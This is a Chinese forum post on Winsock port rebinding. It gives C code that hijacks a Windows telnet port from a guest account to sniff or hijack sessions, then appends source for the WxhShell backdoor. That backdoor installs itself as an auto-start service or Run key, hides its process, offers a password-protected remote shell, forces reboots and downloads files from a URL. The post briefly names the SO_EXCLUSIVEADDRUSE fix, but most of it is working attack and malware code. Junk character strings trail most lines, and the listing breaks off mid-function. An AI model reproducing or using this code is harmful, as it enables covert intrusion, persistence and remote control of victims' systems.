社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14639阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S~fURn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ; mnV)8:F  
7ukJ\P5[&1  
  saddr.sin_family = AF_INET; (PAkKY}  
O|j(CaF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G;:n*_QXE  
rmXxid  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C5oslP/@  
dU%Q=r8R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]G.ttfC  
"]h4L  
  这意味着什么?意味着可以进行如下的攻击: Tbv", b  
z%-Yz- G9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8q9HQ4dsL  
L1=+x^WQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ay\=&4dv  
kDJ $kv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n,D~ whZx  
I\djZG$s;N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8xs}neDg*  
(T;4'c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +vOlA#t%Z  
S+(TRIjk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PwP;+R};|  
&)jBr^x#>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7<{g+Q~7*  
{A2EGUmF2  
  #include iSD E6  
  #include Q72}V9I9  
  #include Gx Z'"x  
  #include    lS"g[O+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }diB  
  int main() Hy4c{Ij  
  { lAjP'(  
  WORD wVersionRequested; g<C_3ap/  
  DWORD ret; 05= $Dnv  
  WSADATA wsaData; hM}rf6B  
  BOOL val; ~ *:{U   
  SOCKADDR_IN saddr; yB][ 3?lv  
  SOCKADDR_IN scaddr; .m--# r  
  int err; oU/CXz?H  
  SOCKET s; }:JE*D|  
  SOCKET sc; CjtBQ5  
  int caddsize;  zxN,ys  
  HANDLE mt; U*Q1(C  
  DWORD tid;   _X ?W)]:  
  wVersionRequested = MAKEWORD( 2, 2 ); ;. jnRPo";  
  err = WSAStartup( wVersionRequested, &wsaData ); VI83 3  
  if ( err != 0 ) { ODS8bD0!i  
  printf("error!WSAStartup failed!\n"); 'Xj9sAB  
  return -1; TNwBnMe  
  } {+D 6o  
  saddr.sin_family = AF_INET; <'s_3AC  
   tG!ApL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w[`2t{^j  
zJ-_{GiM*L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]J<2a`IK!  
  saddr.sin_port = htons(23); QGv$~A[h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;%-f>'KhI7  
  { +7yirp~`K  
  printf("error!socket failed!\n"); -TIrbYS`  
  return -1; W lD cKY  
  } +rT%C&ze  
  val = TRUE; U5rcI6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E0F8FR'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZkbaUIQ  
  { >j5,Z]  
  printf("error!setsockopt failed!\n"); K})=&<M0  
  return -1; W6N3u7mrb  
  } xZmO^F5KHj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "Jd!TLt\x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WCa>~dF>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N?Wx-pK  
w$ zX.;s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kNC.^8ryz[  
  { c~_nO d  
  ret=GetLastError(); oJ r&9.S  
  printf("error!bind failed!\n"); *$U+  
  return -1; nC-=CMWWr  
  } hLs<g!*O  
  listen(s,2); + F{hFuHV  
  while(1) s& INcjC  
  { wR7Ja cKv  
  caddsize = sizeof(scaddr); E5^P*6c(  
  //接受连接请求 Iq76JJuCb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); li!3bv  
  if(sc!=INVALID_SOCKET) nRP|Qt7>  
  { }OQaQf9V{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E_fH,YJ?9  
  if(mt==NULL) FU{$oCh/5  
  { W^a-K  
  printf("Thread Creat Failed!\n"); tHhau.!  
  break; $)HD`E  
  } uX.^zg]}%  
  } JEw+5 MO@  
  CloseHandle(mt); ,M4G_U[  
  } >i6sJ)2?>  
  closesocket(s); S]}hh,A  
  WSACleanup(); }9Th`   
  return 0; u-8b,$@Z>'  
  }   :.k1="H~@  
  DWORD WINAPI ClientThread(LPVOID lpParam) $#ve^.VHv  
  { mJ_ 5Vt=  
  SOCKET ss = (SOCKET)lpParam; >)Udb//  
  SOCKET sc; O/(QLgUr  
  unsigned char buf[4096]; Q)/V >QW  
  SOCKADDR_IN saddr; %9 q]  
  long num; Qkvg85  
  DWORD val; EJCf[#Sf  
  DWORD ret; "jUM}@q5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z[cs/x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <:n !qQS6  
  saddr.sin_family = AF_INET; gNWTzz<[f>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); { R`"Nk  
  saddr.sin_port = htons(23); <M y+!3\A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iL$~d@AEn  
  { 8 t)?$j$  
  printf("error!socket failed!\n"); mTj ?W$+r  
  return -1; wHR# -g'  
  } hZ[(Ik]*Zd  
  val = 100; <hV%OrBz-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8PB 8h  
  { A6?!BB=]  
  ret = GetLastError(); 1_jd1 UT  
  return -1; N^TE ;BM  
  } ^H(,^cVN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NQmdEsK  
  { pBxyq"z  
  ret = GetLastError(); 6IPQ}/l  
  return -1; q`0wG3  
  } &)$}Nk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vTl7x  
  { _C%:AFPP>  
  printf("error!socket connect failed!\n"); S]x\Asj;w  
  closesocket(sc); Q H 57[Yg  
  closesocket(ss); k9_c<TSzu  
  return -1; &cSZ?0R  
  } $`&zIz  
  while(1) >]}c,4D(  
  { T!%J x.^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s qEOXO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3JFX~"rV9I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J3z:U&%=  
  num = recv(ss,buf,4096,0); U~GQ JR  
  if(num>0) =v{Vl5&>?  
  send(sc,buf,num,0); \\)9QP?  
  else if(num==0) ~wFiq)v(  
  break; aCF=Og  
  num = recv(sc,buf,4096,0); l 2ARM3"  
  if(num>0) GWa:C\YK  
  send(ss,buf,num,0); @#2KmM~I  
  else if(num==0) })y B2Q0  
  break; ]99@Lf[^f  
  } xl ]1TB@  
  closesocket(ss); REGk2t.L  
  closesocket(sc); 'w8p[h (,  
  return 0 ; IKVFbTX:y  
  } P47x-;  
8P* d  
c->.eL%   
========================================================== ez14f$cJ+  
b!JrdJO,DP  
下边附上一个代码,,WXhSHELL )m$MC25  
P$zhMnAAN  
========================================================== ugzrG0=lx  
%j/}e>$"Nk  
#include "stdafx.h" d:#z{V_  
T h!;zu^t  
#include <stdio.h> vMzBp#MT  
#include <string.h> UuCRQNH  
#include <windows.h> yVe<+Z\7  
#include <winsock2.h> 9~{,Hj1xE  
#include <winsvc.h> 8?LHYdJ  
#include <urlmon.h> $kBcnk  
uvl>Z= "  
#pragma comment (lib, "Ws2_32.lib") U&W/Nj  
#pragma comment (lib, "urlmon.lib") <-DQ(0xg  
}`y%*--  
#define MAX_USER   100 // 最大客户端连接数 9y*2AaxW  
#define BUF_SOCK   200 // sock buffer k\X yR4r  
#define KEY_BUFF   255 // 输入 buffer cAq5vAqmg  
bT^(D^  
#define REBOOT     0   // 重启 jAdZS\?w  
#define SHUTDOWN   1   // 关机 H 3so&_  
,AH2/^:%c  
#define DEF_PORT   5000 // 监听端口 $IqubC>O  
* !9=?  
#define REG_LEN     16   // 注册表键长度 u6Yp ,!+  
#define SVC_LEN     80   // NT服务名长度 Q<Qd*v&-  
8@/MrEOW#  
// 从dll定义API (aLjW=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +g;{c+Kw:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y+h ?HS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &crR nv ?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); urg^>n4V]  
aeDhC#h  
// wxhshell配置信息 Wm4C(y@  
struct WSCFG { [6Q1yNE  
  int ws_port;         // 监听端口 M)~sL1)  
  char ws_passstr[REG_LEN]; // 口令 -O\f y!  
  int ws_autoins;       // 安装标记, 1=yes 0=no |I;]fH,+  
  char ws_regname[REG_LEN]; // 注册表键名 4K ]*bF44  
  char ws_svcname[REG_LEN]; // 服务名 $>T(31)c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;Sfe.ky @6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BIEq(/-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5,+fM6^V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `FwE^_9d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AH?[K,3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KquuM ]5S  
.Rt~d^D@  
}; ix"BLn]YZ  
#pyFIUr=w  
// default Wxhshell configuration RL[F 9g  
struct WSCFG wscfg={DEF_PORT, xo4lM  
    "xuhuanlingzhe", v\E6N2.S  
    1, #/5eQTBD  
    "Wxhshell", vdigw.=z  
    "Wxhshell", ,w f6gmh8  
            "WxhShell Service", i-?mghe8  
    "Wrsky Windows CmdShell Service", { <1uV']x  
    "Please Input Your Password: ", 4 !m'9  
  1, 4I9Yr  
  "http://www.wrsky.com/wxhshell.exe", 2Bi?^kQ#  
  "Wxhshell.exe" @?RaU4e  
    }; }$[@*  
 T\#Gc4  
// 消息定义模块 jrpki<D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8n["/5,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^\[c][fo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B6@q`Bmw.  
char *msg_ws_ext="\n\rExit."; VK!HuO9l  
char *msg_ws_end="\n\rQuit."; iRx`Nx<@  
char *msg_ws_boot="\n\rReboot..."; 0+&K;  
char *msg_ws_poff="\n\rShutdown..."; hhz#I A6,  
char *msg_ws_down="\n\rSave to "; ss6{+@,  
ky&wv+7  
char *msg_ws_err="\n\rErr!"; o_BRsJy  
char *msg_ws_ok="\n\rOK!"; u}P:9u&h6X  
BLAF{vVaf  
char ExeFile[MAX_PATH]; my/KsB  
int nUser = 0; FzykC  
HANDLE handles[MAX_USER]; QNXoAx%I  
int OsIsNt; _.E{>IFw  
AxeQv'e  
SERVICE_STATUS       serviceStatus; 6"NtVfui  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X(BX+)YR  
M!i*DU+SE  
// 函数声明 *sau['Ha  
int Install(void); i6$HwRZm#  
int Uninstall(void); L2_[M'  
int DownloadFile(char *sURL, SOCKET wsh); Q}cti /  
int Boot(int flag); lEw;X78+  
void HideProc(void); |~#A?mK-  
int GetOsVer(void); IVy<>xpt  
int Wxhshell(SOCKET wsl); oW(EV4J"  
void TalkWithClient(void *cs); / !y~Q|<|=  
int CmdShell(SOCKET sock); MPKrr  
int StartFromService(void); _s<s14+od  
int StartWxhshell(LPSTR lpCmdLine); n 83Dt*O  
io(!z-$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aX zb]">  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p1hF.  
MK1#^9Zr  
// 数据结构和表定义 sSc~q+xz  
SERVICE_TABLE_ENTRY DispatchTable[] = `%^w-'  
{ C#8A|  
{wscfg.ws_svcname, NTServiceMain}, )\PX1198  
{NULL, NULL} IuA4eDr^Y%  
}; Onh R`  
]*gf$D  
// 自我安装 q/Vl>t  
int Install(void) ^)GaVL^"5  
{ on"ENT  
  char svExeFile[MAX_PATH]; C<(qk_  
  HKEY key; o4OB xHKy  
  strcpy(svExeFile,ExeFile); *]}F=dtR k  
`'*4B_.  
// 如果是win9x系统,修改注册表设为自启动 :_]0 8  
if(!OsIsNt) { MppT"t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z}B8&*>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {'[VL;k  
  RegCloseKey(key); V;^N:I\js  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FFcIOn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +'+ Nr<  
  RegCloseKey(key); X y`2ux+>/  
  return 0; Z:Vde^Ih  
    } iz)r.TJ  
  } ]N;n q  
} mq:WBSsV  
else { US=K}B=g  
)Vrp<"v  
// 如果是NT以上系统,安装为系统服务 ` AD}6O+x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?m+];SJk  
if (schSCManager!=0) wjZ Q.T!  
{ Gy;Fe=  
  SC_HANDLE schService = CreateService zGNW5S9G  
  ( mlLqQ<  
  schSCManager, 'n1$Y%t  
  wscfg.ws_svcname, .{ZJywE<  
  wscfg.ws_svcdisp, J7C?Z  
  SERVICE_ALL_ACCESS, HG< z,gE 2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VbMud]40F  
  SERVICE_AUTO_START, j1/+\8Y  
  SERVICE_ERROR_NORMAL, H ( vx/q  
  svExeFile, 'xIyGDe  
  NULL, c S4DN  
  NULL, x|8^i6xB  
  NULL, .46#`4av  
  NULL, vv+km+  
  NULL }MP>]8Aq  
  ); ]Ko^G_Rm  
  if (schService!=0) )IHG6}<  
  { vDsF-u1  
  CloseServiceHandle(schService); OZf6/10O/  
  CloseServiceHandle(schSCManager); Zae.MO^C!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uQnT[\k?  
  strcat(svExeFile,wscfg.ws_svcname); H9U .lb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Ur7# h5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gljo;f:  
  RegCloseKey(key); w8p8 ;@  
  return 0; GF*>~_Yr  
    } @o6R[5(  
  } {?Od{d9  
  CloseServiceHandle(schSCManager); b]T@gJ4H=  
} YScvyh?E  
} >p0KFU  
t8P PE  
return 1; V C-d0E0  
} =>qTNh*'  
A{N\)  
// 自我卸载 eNbpwne  
int Uninstall(void) 2VA!&`I  
{ [KSH~:h:NR  
  HKEY key; )qv2)a!H  
Tg0CE60"  
if(!OsIsNt) { yrnv!moc%t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `rlk|&T1  
  RegDeleteValue(key,wscfg.ws_regname); vy [C'a  
  RegCloseKey(key); A|L'ih/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iPvuz7j=h  
  RegDeleteValue(key,wscfg.ws_regname); (,B#t7ka  
  RegCloseKey(key); f"dSr  
  return 0; s3:9$.tiR[  
  } O(c@PJem  
} $5NKFJc  
} py @( <  
else { Od##U6e`  
BJk Z2=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Be2lMC  
if (schSCManager!=0) uR$i48}  
{ uH:YKH':/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `XJm=/f  
  if (schService!=0) 1_hW#I\'  
  { bWmw3w  
  if(DeleteService(schService)!=0) { j/KO|iNL2  
  CloseServiceHandle(schService); po7>IQS]  
  CloseServiceHandle(schSCManager); B $XwTJ>  
  return 0; Ji?#.r`"n  
  } wMWW=$h#\  
  CloseServiceHandle(schService); 9AQxNbs  
  } =n+ \\D  
  CloseServiceHandle(schSCManager); g<wRN#B  
} @kxel`,$e  
} wNYg$d0M  
__Nv0Ru  
return 1; dg_Gs>?2  
} > ' i  
e#S0Fk)z  
// 从指定url下载文件 Z"y=sDO{  
int DownloadFile(char *sURL, SOCKET wsh) %%JMb=!%2  
{ R#W&ery  
  HRESULT hr; ~b)74M/  
char seps[]= "/"; }Wh6zT)  
char *token; S6g<M5^R  
char *file; KOh A)  
char myURL[MAX_PATH]; fuMJdAuY7d  
char myFILE[MAX_PATH]; Pw[g  
!)pdamdA  
strcpy(myURL,sURL); %IY``r)j  
  token=strtok(myURL,seps); {A:j[  
  while(token!=NULL) :J/M,3  
  { NxA)@9Q  
    file=token; _S`o1^Ad  
  token=strtok(NULL,seps); yN6>VD{F  
  } yZ kyC'/  
5Qh?>n>*  
GetCurrentDirectory(MAX_PATH,myFILE); . (}1%22  
strcat(myFILE, "\\"); /.z;\=;[n!  
strcat(myFILE, file); i'#Gy,R  
  send(wsh,myFILE,strlen(myFILE),0); B9,^mE#  
send(wsh,"...",3,0); \tN-(=T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E3aDDFDH  
  if(hr==S_OK) &ldBv_  
return 0; 8}s.Fg@tE  
else _O"mfXl6  
return 1; ep/Y^&$M  
5jxQW ;  
} UVQ7L9%?f  
cyM-)r@YQV  
// 系统电源模块 jMNU ?m:  
int Boot(int flag) VQ#3#Hj  
{ tmUFT  
  HANDLE hToken; kwpK1R4zs  
  TOKEN_PRIVILEGES tkp; BV#78,8(  
"vZ!vt#'Y  
  if(OsIsNt) { Qnd5X`jF#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C3NdE_E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Yj xeNY  
    tkp.PrivilegeCount = 1; QPt Gdd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q[F}r`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \</b4iR)LT  
if(flag==REBOOT) { ,#?uJTLH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L|@y&di  
  return 0; qqrq11W  
} 0 &_UH}10  
else { Vv1|51B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?L&|Uw+  
  return 0; PjA6Ji;Hu  
} -#!x|ne  
  } /,=@8k!t?  
  else { YuZ"s55zU{  
if(flag==REBOOT) { N- H^lqD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l 'DsZ9y@2  
  return 0; =L;] ;i  
} I`KQ|h0%  
else { w }^ I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :+Om]#`Vls  
  return 0; :0 & X^]\  
} B/~%h|  
} &`0/CV  
\.YS%"Vz  
return 1; )WT>@  
} %1}K""/  
Urr#N  
// win9x进程隐藏模块 X3'H `/  
void HideProc(void) l7#yZ*<v  
{ B(xN Gs  
>{\7&}gz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )XcOl7XLN  
  if ( hKernel != NULL ) MUfG?r\t  
  { Q'_z<V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AKMm&(fh%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b)(?qfXWP  
    FreeLibrary(hKernel); w?kJ+lmOQy  
  } 7qTE('zt  
otggN:^Qw  
return; 2{|h8oz  
} L_=3<n E  
2^8%>,  
// 获取操作系统版本 cuy1DDl  
int GetOsVer(void) zg-2C>(6a  
{ S26MDLk`R3  
  OSVERSIONINFO winfo; ~/.7l8)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $!&*xrrNM  
  GetVersionEx(&winfo); .9Y)AtJTS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~3uP6\F  
  return 1; a7N!B'y  
  else 3Zi@A4Wu  
  return 0; k'0Pi6  
} 6G=j6gK%P  
M1KqY:9E  
// 客户端句柄模块 -D6exTxh"  
int Wxhshell(SOCKET wsl) Kq i4hK  
{ AU2i%Q!  
  SOCKET wsh; cM&{+el  
  struct sockaddr_in client; E[Cb|E  
  DWORD myID; |4'Y/re  
s%<eD  
  while(nUser<MAX_USER) [l,Ei?  
{ {%_L=2n6  
  int nSize=sizeof(client); "etPT@gF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j~*L~7  
  if(wsh==INVALID_SOCKET) return 1; rRFhGQq1m  
D_vbSF)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'C"9QfK  
if(handles[nUser]==0) "~'b  
  closesocket(wsh); =UV`.d2[  
else qvPtyc^fN  
  nUser++; M![J2=  
  } I_RsYw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qgfi\/$6  
o"*AtGR+"  
  return 0; 812$`5l  
} AM!G1^c  
=Q\r?(Iy  
// 关闭 socket D*lKn62  
void CloseIt(SOCKET wsh) (DI>5.x"  
{ 6'FdGS  
closesocket(wsh); qT+%;(  
nUser--; MdW]MW{  
ExitThread(0); w!D|]LoE  
} 55z]&5N  
9Q"'" b*?z  
// 客户端请求句柄 rW=Z>1  
void TalkWithClient(void *cs) AJ=qna  
{ ?"g!  
EKO[!,  
  SOCKET wsh=(SOCKET)cs; AB4(+S*LA  
  char pwd[SVC_LEN]; ^jx7@LgS=  
  char cmd[KEY_BUFF]; P?k0zwOlBl  
char chr[1]; ]UmFhBR-  
int i,j; :\|SQKD  
9E6_]8rl  
  while (nUser < MAX_USER) { `E>1>'  
Ig f&l`\  
if(wscfg.ws_passstr) { >G%o,9i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dUhY\v oQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %rv7Jy   
  //ZeroMemory(pwd,KEY_BUFF); t;}:waZD  
      i=0; `7r@a  
  while(i<SVC_LEN) { maNl^i  
B\XKw'   
  // 设置超时 xU4 +|d  
  fd_set FdRead; z*!%g[3I  
  struct timeval TimeOut; I"A_b}~*}  
  FD_ZERO(&FdRead); H5Io{B%=  
  FD_SET(wsh,&FdRead); y2^Y/)   
  TimeOut.tv_sec=8; =o$sxb E(  
  TimeOut.tv_usec=0; y]f"@9G#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tIuCct-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .?loO3 m  
:s7m4!EF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (^Y~/  
  pwd=chr[0]; i uF*.hc,%  
  if(chr[0]==0xd || chr[0]==0xa) { uo@n(>}EL  
  pwd=0; '2 PF  
  break; fR(d  
  } uc){+'[  
  i++; )!P)U(*v  
    } : qd`zG3  
JPoN&BTCj  
  // 如果是非法用户,关闭 socket Q|#W#LV,K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q!|*oUW  
} $}!p+$  
FG.em  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F9,DrB,B{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Y/ g2 4R  
xe^Gs]fm  
while(1) { e4>_v('  
.K1FKC$C  
  ZeroMemory(cmd,KEY_BUFF); ~T1 XLu  
M`,)wi  
      // 自动支持客户端 telnet标准   OC BgR4I  
  j=0; R}*_~7r5  
  while(j<KEY_BUFF) { YoBDvV":@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s~5[![1 K  
  cmd[j]=chr[0]; ^\4h<M  
  if(chr[0]==0xa || chr[0]==0xd) { {y=j?lD  
  cmd[j]=0; iKX-myCz  
  break; ]&lY%"U$i  
  } _./Sk|C  
  j++; v|dBSX9k0  
    } 6WXRP;!Q  
CxwoBuG=?  
  // 下载文件 < t,zaIi  
  if(strstr(cmd,"http://")) { leTf&W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  W\d{a(*  
  if(DownloadFile(cmd,wsh)) W3MJr&p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l`#4KCL(  
  else pKpUXfQu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-K=!pET  
  } ;:\<gVi:  
  else { ]>=}*=  
_Xk.p_uh  
    switch(cmd[0]) { -?V-*jI  
  Ya3C#=  
  // 帮助 :~Wrf8 UQ  
  case '?': { D1zBsi94D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $u]jy0X<Y;  
    break; jB%lB1Q|  
  } `6~Aoe  
  // 安装 ILEz;D{]   
  case 'i': { VVac:  
    if(Install()) d3 ZdB4L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dabU*  
    else J8uLJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v+46 QK|I&  
    break; J:CXW%\ <q  
    } K1 EynU I  
  // 卸载 I>]oS(GNT  
  case 'r': { lr>oYS0  
    if(Uninstall()) YIoQL}pX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GpY"f c%  
    else w$zu~/qV2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "p_J8  
    break; Wh+{mvu#  
    } Ql/cN%^j$  
  // 显示 wxhshell 所在路径 BTGv N %  
  case 'p': { RYQ<Zr$!  
    char svExeFile[MAX_PATH]; yu!h<nfzA  
    strcpy(svExeFile,"\n\r"); Ugu[|,  
      strcat(svExeFile,ExeFile); l{I6&^!KS  
        send(wsh,svExeFile,strlen(svExeFile),0); ($au:'kU  
    break; }vxw*8d?  
    } ~zCEpU|@N  
  // 重启 -JMdE_h  
  case 'b': { n.'8A(,r3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O#:$^#j&  
    if(Boot(REBOOT)) \F1_lq;K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BLfTsNzmt  
    else { *scVJ  
    closesocket(wsh); JD)(oK%C  
    ExitThread(0); <*16(!k0  
    } !=;+%C&8y  
